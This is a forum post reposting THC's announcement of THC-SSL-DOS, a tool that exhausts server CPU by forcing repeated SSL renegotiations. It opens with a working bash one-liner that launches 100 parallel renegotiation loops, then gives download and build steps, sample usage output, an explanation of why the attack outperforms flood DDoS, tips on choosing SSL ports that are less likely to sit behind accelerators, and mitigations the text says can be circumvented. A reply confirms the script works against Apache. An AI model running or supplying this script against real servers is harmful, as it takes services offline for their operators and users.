Thc-ssl-dos

[Nytro]

THC-SSL-DOS

It's not as elegant as the private thc-ssl-dos but works quite well indeed.

2 simple commands in bash:

-----BASH SCRIPT BEGIN-----

thc-ssl-dosit() { while :; do (while :; do echo R; done) | openssl s_client -connect 127.0.0.1:443 2>/dev/null; done }
for x in `seq 1 100`; do thc-ssl-dosit & done

-----BASH SCRIPT END-------

     ______________ ___  _________
     \__    ___/   |   \ \_   ___ \
       |    | /    ~    \/    \  \/
       |    | \    Y    /\     \____
       |____|  \___|_  /  \______  /
                     \/          \/
           http://www.thc.org

THC-SSL-DOS is a tool to verify the performance of SSL.

Establishing a secure SSL connection requires 15x more processing

power on the server than on the client.

THC-SSL-DOS exploits this asymmetric property by overloading the

server and knocking it off the Internet.

This problem affects all SSL implementations today. The vendors are aware

of this problem since 2003 and the topic has been widely discussed.

This attack further exploits the SSL secure Renegotiation feature

to trigger thousands of renegotiations via single TCP connection.

Download:

Windows binary: thc-ssl-dos-1.4-win-bin.zip

Unix Source : thc-ssl-dos-1.4.tar.gz

Use "./configure; make all install" to build.

Usage:

./thc-ssl-dos 127.3.133.7 443

Handshakes 0 [0.00 h/s], 0 Conn, 0 Err

Secure Renegotiation support: yes

Handshakes 0 [0.00 h/s], 97 Conn, 0 Err

Handshakes 68 [67.39 h/s], 97 Conn, 0 Err

Handshakes 148 [79.91 h/s], 97 Conn, 0 Err

Handshakes 228 [80.32 h/s], 100 Conn, 0 Err

Handshakes 308 [80.62 h/s], 100 Conn, 0 Err

Handshakes 390 [81.10 h/s], 100 Conn, 0 Err

Handshakes 470 [80.24 h/s], 100 Conn, 0 Err

Comparing flood DDoS vs. SSL-Exhaustion attack:

A traditional flood DDoS attack cannot be mounted from a single DSL connection.

This is because the bandwidth of a server is far superior to the

bandwidth of a DSL connection: A DSL connection is not an equal opponent to

challenge the bandwidth of a server.

This is turned upside down for THC-SSL-DOS: The processing capacity for

SSL handshakes is far superior at the client side: A laptop on a DSL

connection can challenge a server on a 30Gbit link.

Traditional DDoS attacks based on flooding are sub optimal: Servers are

prepared to handle large amount of traffic and clients are constantly

sending requests to the server even when not under attack.

The SSL-handshake is only done at the beginning of a secure session and

only if security is required. Servers are _not_ prepared to handle

large amount of SSL Handshakes.

The worst attack scenario is an SSL-Exhaustion attack mounted from

thousands of clients (SSL-DDoS).

Tips & Tricks for whitehats

1. The average server can do 300 handshakes per second. This would require

10-25% of your laptops CPU.

2. Use multiple hosts (SSL-DOS) if an SSL Accelerator is used.

3. Be smart in target acquisition: The HTTPS Port (443) is not always the

best choice. Other SSL enabled ports are more unlikely to use an SSL

Accelerator (like the POP3S, SMTPS, ... or the secure database port).

Counter measurements:

No real solutions exists. The following steps can mitigate (but not solve)

the problem:

1. Disable SSL-Renegotiation

2. Invest into SSL Accelerator

Either of these countermeasures can be circumventing by modifying

THC-SSL-DOS. A better solution is desireable. Somebody should fix

this.

Yours sincerely,

The Hackers Choioce

#!/bin/the hacker's choice - THC

Sursa: http://www.thc.org/thc-ssl-dos/

[eth0]

testat merge pe apache 2.5, multumim chiar asteptam asa ceva +rep